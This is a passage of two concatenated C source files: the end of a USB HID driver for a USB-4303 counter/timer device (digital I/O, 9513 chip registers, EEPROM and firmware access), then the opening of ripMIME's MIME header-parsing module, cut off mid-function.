read_port_t { uint8_t reportID; uint8_t value; } read_port; read_port.reportID = DIN; PMD_SendOutputReport(hid, &reportID, sizeof(reportID)); PMD_GetInputReport(hid, (uint8_t *) &read_port, sizeof(read_port), FS_DELAY); return read_port.value; } /* writes digital port */ void usbDOut_USB4303(hid_device *hid, uint8_t value) { struct write_port_t { uint8_t reportID; uint8_t value; } write_port; write_port.reportID = DOUT; write_port.value = value; PMD_SendOutputReport(hid, (uint8_t*) &write_port, sizeof(write_port)); } /* reads digital port bit */ uint8_t usbDBitIn_USB4303(hid_device *hid, uint8_t bit) { struct read_bit_t { uint8_t reportID; uint8_t value; } read_bit; read_bit.reportID = DBIT_IN; read_bit.value = bit; PMD_SendOutputReport(hid, (uint8_t*) &read_bit, sizeof(read_bit)); PMD_GetInputReport(hid, (uint8_t*) &read_bit, sizeof(read_bit), FS_DELAY); return read_bit.value; } /* writes digital port bit */ void usbDBitOut_USB4303(hid_device *hid, uint8_t bit, uint8_t value) { struct write_bit_t { uint8_t reportID; uint8_t bit; uint8_t value; } write_bit; write_bit.reportID = DBIT_OUT; write_bit.bit = bit; write_bit.value = value; PMD_SendOutputReport(hid, (uint8_t*) &write_bit, sizeof(write_bit)); return; } void usbLoad_USB4303(hid_device *hid, uint8_t chip, uint8_t counters) { /* This command loads the selected counters with current load or hold register value. If counter is armed, the source register will be the one to be used for the upcoming terminal count value. If the counter is disarmed, the counter will be loaded from the load register, unless in mode S or V, in which case, the counter gate input will select the source register. */ struct load_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counters; } load; load.reportID = LOAD; load.chip = chip; load.counters = counters; PMD_SendOutputReport(hid, (uint8_t *) &load, sizeof(load)); } void usbSave_USB4303(hid_device *hid, uint8_t chip, uint8_t counters) { /* This command saves the current counter value(s) to the associated hold register(s). Any previous hold register contents will be overwritten. This could cause problems if the hold register is being used for loading the counter (modes G-L, S and V). */ struct save_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counters; } save; save.reportID = SAVE; save.chip = chip; save.counters = counters; PMD_SendOutputReport(hid, (uint8_t *) &save, sizeof(save)); } void usbArm_USB4303(hid_device *hid, uint8_t chip, uint8_t counters) { /* This function arms the selected counters and begins counting. If the counter is using mode G-L (alternate loading from load then hold register), arming the counter resets the load/hold logic; the counter will be loaded from the hold register on the next TC, and then alternate thereafter. */ struct arm_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counters; } arm; arm.reportID = ARM; arm.chip = chip; arm.counters = counters; PMD_SendOutputReport(hid, (uint8_t *) &arm, sizeof(arm)); } void usbDisarm_USB4303(hid_device *hid, uint8_t chip, uint8_t counters) { /* This function disarms the selected counter(s) and stops counting. */ struct disarm_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counters; } disarm; disarm.reportID = DISARM; disarm.chip = chip; disarm.counters = counters; PMD_SendOutputReport(hid, (uint8_t *) &disarm, sizeof(disarm)); } uint16_t usbRead_USB4303(hid_device *hid, uint8_t chip, uint8_t counter) { /* This function reads the current value of the 16-bit counter. To accomplish this, the counter value is latched out to the HOLD register and the HOLD register value is returned. If the counter is in a mode that uses the HOLD register to load the counter (modes G-L, S and V), this function returns 0. */ struct read_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counter; // Only use bits [0:2]. } read; struct read_counter_t { uint8_t reportID; uint8_t value[2]; } read_counter; uint16_t value; read.reportID = READ; read.chip = chip; switch (counter) { case COUNTER_1: read.counter = 0x1; break; case COUNTER_2: read.counter = 0x2; break; case COUNTER_3: read.counter = 0x3; break; case COUNTER_4: read.counter = 0x4; break; case COUNTER_5: read.counter = 0x5; break; default: return 0; break; } PMD_SendOutputReport(hid, (uint8_t *) &read, sizeof(read)); PMD_GetInputReport(hid, (uint8_t *) &read_counter, sizeof(read_counter), FS_DELAY); memcpy(&value, read_counter.value, 2); return value; } void usbSetToggle_USB4303(hid_device *hid, uint8_t chip, uint8_t counter, uint8_t set) { /* This function sets or clears the selected counter output if the counter output is set to toggle on terminal count. There is no effect for other ouptut modes. */ struct setToggle_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counter; // Only use bits [0:2]. uint8_t set; // 0 = clear output, 1 = set output } setToggle; setToggle.reportID = SET_TOGGLE; setToggle.chip = chip; switch (counter) { case COUNTER_1: setToggle.counter = 0x1; break; case COUNTER_2: setToggle.counter = 0x2; break; case COUNTER_3: setToggle.counter = 0x3; break; case COUNTER_4: setToggle.counter = 0x4; break; case COUNTER_5: setToggle.counter = 0x5; break; default: return ; break; } setToggle.set = set; PMD_SendOutputReport(hid, (uint8_t *) &setToggle, sizeof(setToggle)); } void usbStep_USB4303(hid_device *hid, uint8_t chip, uint8_t counter) { /* This function steps the selected counter value up or down. It will increment if the counter is configured to count up and decrement if the counter is configured to count down */ struct t_step { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t counter; // Only use bits [0:2]. } step; step.reportID = STEP; step.chip = chip; switch (counter) { case COUNTER_1: step.counter = 0x1; break; case COUNTER_2: step.counter = 0x2; break; case COUNTER_3: step.counter = 0x3; break; case COUNTER_4: step.counter = 0x4; break; case COUNTER_5: step.counter = 0x5; break; default: return ; break; } PMD_SendOutputReport(hid, (uint8_t *) &step, sizeof(step)); } void usbSet9513Config_USB4303(hid_device *hid, uint8_t chip, uint16_t settings) { /* The command sets the configuration options for the 9513 chip through the Master Mode Register. The default for the "settings" parameter upon initialization of the device is 0x8000. Refer to the 9513A datasheet for details. */ struct set9513Config_t { uint8_t reportID; uint8_t chip; // 1 = chip 1, 2 = chip 2 uint8_t settings[2]; } set9513Config; set9513Config.reportID = SET9513CONFIG; set9513Config.chip = chip; set9513Config.settings[0] = (uint8_t) (settings & 0xff); // low byte set9513Config.settings[1] = (uint8_t) (settings >> 0x8) & 0xff; // hight byte PMD_SendOutputReport(hid, (uint8_t *) &set9513Config, sizeof(set9513Config)); } uint16_t usbGet9513Config_USB4303(hid_device *hid, uint8_t chip) { /* The command returns the 9513 configuration settings. */ struct get9513Config_t { uint8_t reportID; uint8_t value[2]; } get9513Config; uint16_t value; get9513Config.reportID = GET9513CONFIG; get9513Config.value[0] = chip; PMD_SendOutputReport(hid, (uint8_t *) &get9513Config, sizeof(get9513Config)-1); PMD_GetInputReport(hid, (uint8_t *) &get9513Config, sizeof(get9513Config), FS_DELAY); memcpy(&value, get9513Config.value, 2); return value; } void usbSetOscOut_USB4303(hid_device *hid, uint8_t chip, uint8_t enable) { /* This command enables or disables the oscillator output. */ struct setOscOut_t { uint8_t reportID; uint8_t chip; // 1 = chip 1 , 2 = chip 2 uint8_t enable; // 0 = disable, 1 = enable } setOscOut; setOscOut.reportID = SETOSCOUT; setOscOut.chip = chip; setOscOut.enable = enable; PMD_SendOutputReport(hid, (uint8_t *) &setOscOut, sizeof(setOscOut)); } void usbSetRegister_USB4303(hid_device *hid, uint8_t chip, uint8_t reg, uint16_t value) { /* This command sets the value of the selected 9513 register. */ struct t_setReg { uint8_t reportID; uint8_t chip; uint8_t reg; uint8_t value[2]; } setReg; setReg.reportID = SETREGISTER; setReg.chip = chip; setReg.reg = reg; setReg.value[0] = (uint8_t) (value & 0xff); // low byte setReg.value[1] = (uint8_t) ((value >> 8) & 0xff); // high byte PMD_SendOutputReport(hid, (uint8_t *) &setReg, sizeof(setReg)); } uint16_t usbGetRegister_USB4303(hid_device *hid, uint8_t chip, uint8_t reg) { /* This command returns the value of the selected 9513 register */ struct getReg_t{ uint8_t reportID; uint8_t value[2]; } getReg; uint16_t value; getReg.reportID = GETREGISTER; getReg.value[0] = chip; getReg.value[1] = reg; PMD_SendOutputReport(hid, (uint8_t *) &getReg, sizeof(getReg)); PMD_GetInputReport(hid, (uint8_t *) &getReg, sizeof(getReg), FS_DELAY); memcpy(&value, getReg.value, 2); return value; } void usbReset9513_USB4303(hid_device *hid, uint8_t chip) { /* This command resets the 9513 chip to default values and initializes the counter registers to all zeros. */ uint8_t cmd[2]; cmd[0] = RESET; cmd[1] = chip; PMD_SendOutputReport(hid, (uint8_t *) &cmd, sizeof(cmd)); } void usbSelect9513Clock_USB4303(hid_device *hid, uint8_t clock) { /* This command selects the initial clock frequency for the 9513 counter. On the USB-4303, this clock frequency is input to both chips, they cannot be selected individually. Values of clock are: 0x00 = 1 MHz 0x01 = 1.66667 MHz 0x02 = 3.33333 MHz 0x03 = 5 MHz (default) all other values = no change */ uint8_t cmd[2]; cmd[0] = SELECT9513CLOCK; cmd[1] = clock; PMD_SendOutputReport(hid, (uint8_t *) &cmd, sizeof(cmd)); } uint16_t usbReadFreq_USB4303(hid_device *hid, uint8_t chip, uint8_t source, uint16_t interval_counts) { /* This command configures counters 4 and 5 on the selected chip to measure frequency. This requires connecting the output pin of counter 4 to the gate of counter 5. The gating interval depends on the internal clock selected (with Select9513Clock). (gating interval in ms) = interval_counts / (internal clock frequency in MHz) The response is the total number of rising edges received on the input specificied by source during the gating interval. To calculate the frequency from this use the following: (frequency in Hz) = [(received pulses) / (gating interval in ms)] * 1000 If an overrun occurs (more than 65,535 rising edges are received during the gatin interval), the response will be 0xff. */ struct readFreq_t { uint8_t reportID; uint8_t chip; uint8_t source; uint8_t interval_counts[2]; } readFreq; struct readFreq2_t { uint8_t reportID; uint8_t freq[2]; } readFreq2; uint16_t value; readFreq.reportID = READFREQ; readFreq.chip = chip; readFreq.source = source; memcpy(readFreq.interval_counts, &interval_counts, 2); PMD_SendOutputReport(hid, (uint8_t *) &readFreq, sizeof(readFreq)); PMD_GetInputReport(hid, (uint8_t *) &readFreq2, sizeof(readFreq2), FS_DELAY); memcpy(&value, readFreq2.freq, 2); return value; } void usbReadMemory_USB4303(hid_device *hid, uint16_t address, uint8_t count, uint8_t* memory) { /* The command reads data from the EEPROM configuration memory. There are 256 bytes available in the EEPROM (address 0x00 to 0xff). */ struct arg_t { uint8_t reportID; uint8_t address[2]; // the start address for the read uint8_t type; // not used uint8_t count; // the number of bytes to read (62 max) } arg; if (count > 62) count = 62; arg.reportID = MEM_READ; arg.type = 0; // unused for this device. arg.address[0] = (uint8_t) (address & 0xff); // low byte arg.address[1] = (uint8_t) ((address >> 8) & 0xff); // high byte arg.count = count; PMD_SendOutputReport(hid, (uint8_t *) &arg, sizeof(arg)); PMD_GetInputReport(hid, (uint8_t *) &memory, sizeof(memory), FS_DELAY); } int usbWriteMemory_USB4303(hid_device *hid, uint16_t address, uint8_t count, uint8_t* data) { /* The command writes to the EEPROM on the device micrprocessor. This non-volatile memory is used to store system information and user data. The EEPROM may be written at any address with 1-60 bytes of data in a write. */ int i; struct mem_write_report_t { uint8_t reportID; uint8_t address[2]; // the start address for the write uint8_t count; // the number of bytes to write (60 max) uint8_t data[count]; // the data to be written (60 bytes max) } arg; if (count > 60) count = 60; arg.reportID = MEM_WRITE; arg.address[0] = (uint8_t) (address & 0xff); // low byte arg.address[1] = (uint8_t) ((address >> 8) & 0xff); // high byte arg.count = count; for ( i = 0; i < count; i++ ) { arg.data[i] = data[i]; } PMD_SendOutputReport(hid, (uint8_t *) &arg, count+4); return 0; } /* blinks the LED of USB device */ int usbBlink_USB4303(hid_device *hid, uint8_t count) { /* This command causes the LED to blink "count" times. */ uint8_t cmd[2]; cmd[0] = BLINK_LED; cmd[1] = count; return PMD_SendOutputReport(hid, (uint8_t *) &cmd, sizeof(cmd)); } int usbReset_USB4303(hid_device *hid) { /* This function causes the device to perform a reset. The device disconnects from the USB bus and resets the microcontroller. */ uint8_t reportID = RESET; return PMD_SendOutputReport(hid, &reportID, sizeof(reportID)); } uint32_t usbGetStatus_USB4303(hid_device *hid) { /* This command retrives the status of the device. */ uint32_t status; int nread; struct statusReport_t { uint8_t reportID; uint8_t status[4]; } statusReport; PMD_SendOutputReport(hid, &statusReport.reportID, 1); nread = PMD_GetInputReport(hid, (uint8_t *) &statusReport, sizeof(statusReport), FS_DELAY); if (nread < 0) { perror("usbGetStatus_USB4303"); return nread; } memcpy(&status, statusReport.status, 4); return status; } void usbInterruptConfig_USB4303(hid_device *hid, uint16_t config, uint16_t data[10]) { /* This command configures the external interrupt pin. It can generate an event notification to the PC, latch the digital inputs, latch the digital outputs, and/or generate a SAVE command for and/all counters on either/both 9513s. All interrupt settings initializes to off, with rising edge triggering. The response for this command is sent to the PC whenever the interrupt edge is received if event notification is on. If digital input latch in on, DIn and DBitIn will return the data that was latched in the most recent interrupt edge. If digital output latch is on, when the interrupt edge is received, the most recently received data via DOut or DBitOut will be latched out. Note that setting digital input latch to on will immediately latch in the current input value, and setting digital output latch to on will initialize th edata to be latched out to 0. Also note that the SAVE command overwrites the HOLD register contents and thus can cause unpredictable results on counters that are using modes G-L, S or V. */ struct interrupt_config_t { uint8_t reportID; uint8_t config[2]; } interrupt_config; struct interrupt_config2_t { uint8_t reportID; uint8_t data[20]; } interrupt_config2; memcpy(interrupt_config.config, &config, 2); PMD_SendOutputReport(hid, (uint8_t *) &interrupt_config, sizeof(interrupt_config)); PMD_GetInputReport(hid, (uint8_t *) &interrupt_config2, sizeof(interrupt_config2), FS_DELAY); memcpy(data, interrupt_config2.data, 20); } void usbPrepareDownload_USB4303(hid_device *hid) { /* This command puts the device into code update mode. The unlock code must be correct as a further safety device. Call this once before sending code with WriteCode. If not in code update mode, any WriteCode commands will be ignored. */ struct download_t { uint8_t reportID; uint8_t unlock_code; } download; download.reportID = PREPARE_DOWNLOAD; download.unlock_code = 0xad; PMD_SendOutputReport(hid, (uint8_t *) &download, sizeof(download)); } void usbWriteCode_USB4303(hid_device *hid, uint32_t address, uint8_t count, uint8_t data[]) { /* This command writes to the program memory in the device. This command is not accepted unless the device is in update mode. This command will normally be used when downloading a new hex file, so it supports memory ranges that may be found in the hex file. The address ranges are: 0x000000 - 0x007AFF: Microcontroller FLASH program memory 0x200000 - 0x200007: ID memory (serial number is stored here on main micro) 0x300000 - 0x30000F: CONFIG memory (processor configuration data) 0xF00000 - 0xF03FFF: EEPROM memory FLASH program memory: The device must receive data in 64-byte segments that begin on a 64-byte boundary. The data is sent in messages containing 32 bytes. count must always equal 32. Other memory: Any number of bytes up to the maximum (32) may be sent. */ struct writecode_t { uint8_t reportID; uint8_t address[3]; uint8_t count; uint8_t data[32]; } writecode; if (count > 32) count = 32; // 32 byte max writecode.reportID = WRITE_CODE; memcpy(writecode.address, &address, 3); // 24 bit address writecode.count = count; // the number of byes of data (max 32) memcpy(writecode.data, data, count); // the program data PMD_SendOutputReport(hid, (uint8_t *) &writecode, count+5); } void usbWriteSerial_USB4303(hid_device *hid, uint8_t serial[8]) { /* This command sends a new serial number to the device. The serial number consists of 8 bytes, typically ASCII numeric or hexadecimal digits (i.e. "00000001"). The new serial number will be programmed but not used until hardware reset. */ struct writeSerialNumber_t { uint8_t reportID; uint8_t serial[8]; } writeSerialNumber; writeSerialNumber.reportID = WRITE_SERIAL; memcpy(writeSerialNumber.serial, serial, 8); PMD_SendOutputReport(hid, (uint8_t*) &writeSerialNumber, sizeof(writeSerialNumber)); } int usbReadCode_USB4303(hid_device *hid, uint32_t address, uint8_t count, uint8_t data[]) { /* This command reads from the program memory. The address ranges are: 0x000000 - 0x007AFF: Microcontroller FLASH program memory 0x200000 - 0x200007: ID memory (serial number is stored here on main micro) 0x300000 - 0x30000F: CONFIG memory (processor configuration data) Note: The EEPROM memory can only be read using the MemRead command. */ struct readCode_t { uint8_t reportID; uint8_t address[3]; // 24 bit start address for the read uint8_t count; // the number of bytes to read (62 byte max) } readCode; struct readCodeI_t { uint8_t reportID; uint8_t data[62]; } readCodeI; if (count > 62) count = 62; readCode.reportID = READ_CODE; memcpy(readCode.address, &address, 3); // 24 bit address readCode.count = count; PMD_SendOutputReport(hid, (uint8_t *) &readCode, sizeof(readCode)); if (PMD_GetInputReport(hid, (uint8_t *) &readCodeI, count+1, FS_DELAY) < 0) { perror("usbReadCode_USB4303 error on read."); } memcpy(data, readCodeI.data, count); return count; } void usbWrite9513Command_USB4303(hid_device *hid, uint8_t chip, uint8_t command) { /* This command writes the specified command directly to the selected 9513 chip's command port. Note: Direct port access API commands should be used with caution; there are no safeguards to prevent configuration of the 9513 in such a way as to make it unusable. (For instance, changing the data bus mode from 8-bit to 16-bit). If this occurs, a device power-reset will always return the device to a working condition. */ uint8_t cmd[3]; cmd[0] = WRITE_COMMAND; cmd[1] = chip; // 1 = chip 1, 2 = chip 2 cmd[2] = command; // the byte to write to the 9513 command port. PMD_SendOutputReport(hid, cmd, sizeof(cmd)); } uint8_t usbRead9513Command_USB4303(hid_device *hid, uint8_t chip) { /* This command reads the selected 9513 chip's command port, which returns the current value of the 9513 status register. */ struct read_command { uint8_t reportID; uint8_t chip; } read_command; read_command.reportID = READ_COMMAND; read_command.chip = chip; PMD_SendOutputReport(hid, (uint8_t *) &read_command, sizeof(read_command)); PMD_GetInputReport(hid, (uint8_t *) &read_command, sizeof(read_command), FS_DELAY); return read_command.chip; } void usbWrite9513Data_USB4303(hid_device *hid, uint8_t chip, uint8_t data) { /* This command writes directly to the selected 9513 chip's data port. A write to one of the data registers will typically involve first issuing a command to the command port to set the value of the data pointer register, followed by two 8-bit writes to the data port to set the value of the desired 16-bit data register, LSB first. */ uint8_t cmd[3]; cmd[0] = WRITE_DATA; cmd[1] = chip; // 1 = chip 1, 2 = chip 2 cmd[2] = data; // the 8-bit value to write to the data port PMD_SendOutputReport(hid, cmd, sizeof(cmd)); } uint8_t usbRead9513Data_USB4303(hid_device *hid, uint8_t chip) { /* This command reads directly to the selected 9513 chip's data port. A read to one of the data registers will typically involve first issuing a command to the command port to set the value of the data pointer register, followed by two 8-bit reads to the data port to retrieve the value of the desired 16-bit data register, LSB first. */ uint8_t cmd[2]; cmd[0] = READ_DATA; cmd[1] = chip; PMD_SendOutputReport(hid, (uint8_t *) &cmd, sizeof(cmd)); PMD_GetInputReport(hid, (uint8_t *) &cmd, sizeof(cmd), FS_DELAY); return cmd[1]; }
708391.c
/*----------------------------------------------------------------------- ** ** ** MIME_headers ** ** Written by Paul L Daniels, originally for the Xamime project ** (http://www.xamime.com) but since spawned off to the ripMIME/alterMIME ** family of email parsing tools. ** ** Copyright PLD, 1999,2000,2001,2002,2003 ** Licence: BSD ** For more information on the licence and copyrights of this code, please ** email [email protected] ** CHANGES ** 2003-Jun-24: PLD: Added subject parsing ** */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <syslog.h> #include <ctype.h> #include <errno.h> #include <ctype.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include "ffget.h" #include "pldstr.h" #include "libmime-decoders.h" #include "logger.h" #include "strstack.h" #include "boundary-stack.h" #include "filename-filters.h" #include "MIME_headers.h" #ifndef FL #define FL __FILE__, __LINE__ #endif // Debug precodes #define MIMEH_DPEDANTIC ((glb.debug >= _MIMEH_DEBUG_PEDANTIC)) #define MIMEH_DNORMAL ((glb.debug >= _MIMEH_DEBUG_NORMAL )) #define DMIMEH if ((glb.debug >= _MIMEH_DEBUG_NORMAL)) char *MIMEH_defect_description_array[_MIMEH_DEFECT_ARRAY_SIZE]; struct MIMEH_globals { int save_headers; int save_headers_original; int test_mailbox; int debug; int webform; int header_fix; int verbose; int verbose_contenttype; int longsearch_limit; // how many segments do we attempt to look ahead... int original_header_save_to_file; }; static struct MIMEH_globals glb; /*-----------------------------------------------------------------\ Function Name : MIMEH_version Returns Type : int ----Parameter List 1. void, ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_version(void) { fprintf(stdout,"mimeheaders: %s\n", MIMEH_VERSION); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_init Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_init( void ) { glb.original_header_save_to_file = 0; glb.save_headers = 0; glb.save_headers_original = 0; glb.test_mailbox = 0; glb.debug = 0; glb.webform = 0; glb.header_fix = 1; glb.verbose = 0; glb.verbose_contenttype = 0; glb.longsearch_limit=1; return 0; } int MIMEH_object_init(struct MIMEH_object *ho) { ho->doubleCR = 0; ho->headerline = NULL; ho->doubleCR_save = 1; ho->doubleCRname[0]='\0'; ho->appledouble_filename[0]='\0'; ho->headerline_original = NULL; ho->doubleCR_count = 0; ho->header_longsearch=0; ho->output_dir[0]='\0'; ho->header_file = NULL; ho->original_header_file = NULL; return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_doubleCR Returns Type : int ----Parameter List 1. struct MIMEH_object *ho , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_get_doubleCR( struct MIMEH_object *ho ) { return ho->doubleCR; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_doubleCR Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_doubleCR(struct MIMEH_object *ho, int level ) { ho->doubleCR = level; return ho->doubleCR; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_headerfix Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_headerfix( int level ) { glb.header_fix = level; return glb.header_fix; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_doubleCR_save Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_doubleCR_save( struct MIMEH_object *ho, int level ) { ho->doubleCR_save = level; return ho->doubleCR_save; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_doubleCR_save Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_get_doubleCR_save( struct MIMEH_object *ho ) { return ho->doubleCR_save; } /*-----------------------------------------------------------------\ Function Name : *MIMEH_get_doubleCR_name Returns Type : char ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ char *MIMEH_get_doubleCR_name( struct MIMEH_object *ho ) { return ho->doubleCRname; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_debug Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_debug( int level ) { glb.debug = level; return glb.debug; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_outputdir Returns Type : int ----Parameter List 1. char *dir , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_outputdir( struct MIMEH_object *ho, char *dir ) { if (dir) snprintf(ho->output_dir,_MIMEH_STRLEN_MAX,"%s",dir); return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_webform Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_webform( int level ) { glb.webform = level; return glb.webform; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_mailbox Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_mailbox( int level ) { glb.test_mailbox = level; return level; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_verbosity Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_verbosity( int level ) { glb.verbose = level; return level; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_verbosity_contenttype Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_verbosity_contenttype( int level ) { glb.verbose_contenttype = level; return level; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_verbosity_contenttype Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_get_verbosity_contenttype( void ) { return glb.verbose_contenttype; } /*------------------------------------------------------------------------ Procedure: MIMEH_set_headers_save ID:1 Purpose: Sets MIMEH's headers save file (where MIMEH will save the headers it reads in from the mailpack) Input: Output: Errors: ------------------------------------------------------------------------*/ int MIMEH_set_headers_save( struct MIMEH_object *ho, FILE *f ) { ho->header_file = f; glb.save_headers = 1; return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_headers_original_save_to_file Returns Type : int ----Parameter List 1. FILE *f , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_headers_original_save_to_file( struct MIMEH_object *ho, FILE *f ) { if (f == NULL) glb.original_header_save_to_file = 0; else glb.original_header_save_to_file = 1; ho->original_header_file = f; return glb.original_header_save_to_file; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_headers_nosave Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_headers_nosave( struct MIMEH_object *ho ) { ho->header_file = NULL; glb.save_headers = 0; return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_headers_save Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_get_headers_save( void ) { return glb.save_headers; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_headers_save_original Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_headers_save_original( int level ) { glb.save_headers_original = level; return glb.save_headers_original; } /*-----------------------------------------------------------------\ Function Name : MIMEH_get_headers_ptr Returns Type : int ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ char *MIMEH_get_headers_ptr( struct MIMEH_object *ho ) { return ho->headerline; } /*-----------------------------------------------------------------\ Function Name : *MIMEH_get_headers_original_ptr Returns Type : char ----Parameter List 1. void , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ char *MIMEH_get_headers_original_ptr( struct MIMEH_object *ho ) { return ho->headerline_original; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_header_longsearch Returns Type : int ----Parameter List 1. int level , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: The header long-search is a facility switch that will make the header searching to continue on until it either reaches the end of the file or it finds valid (??) headers to work on. -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_header_longsearch( struct MIMEH_object *ho, int level ) { ho->header_longsearch = level; return ho->header_longsearch; } /*-----------------------------------------------------------------\ Function Name : MIMEH_set_defect Returns Type : int ----Parameter List 1. struct MIMEH_header_info *hinfo, 2. int defect , The defect code to set ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_set_defect( struct MIMEH_header_info *hinfo, int defect ) { if ((defect >= 0)&&(defect < _MIMEH_DEFECT_ARRAY_SIZE)) { hinfo->defects[defect]++; hinfo->header_defect_count++; DMIMEH LOGGER_log("%s:%d:MIMEH_set_defect:DEBUG: Setting defect index '%d' to '%d'",FL, defect, hinfo->defects[defect]); } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_is_contenttype Returns Type : int ----Parameter List 1. int range_type, 2. int content_type , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_is_contenttype( int range_type, int content_type ) { int diff; diff = content_type -range_type; if ((diff < _CTYPE_RANGE)&&(diff > 0)) return 1; else return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_is_binary Returns Type : int ----Parameter List 1. struct FFGET_FILE *f , ------------------ Exit Codes : 1 = yes, it's binary, 0 = no. Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_is_binary( char *fname ) { char buffer[1024]; int read_count; FILE *f; f = fopen(fname,"r"); if (!f) return 1; read_count = fread(buffer, 1, 1024, f); fclose(f); while (read_count) { read_count--; if (buffer[read_count] == 0) return 1; } return 0; } /*-----------------------------------------------------------------\ Function Name : MIMEH_are_headers_RFC822 Returns Type : int ----Parameter List 1. char *fname , ------------------ Exit Codes : Side Effects : -------------------------------------------------------------------- Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_are_headers_RFC822( char *headers ) { char conditions[7][16] = { "received", "from", "subject", "date", "content", "boundary" }; int hitcount = 0; int 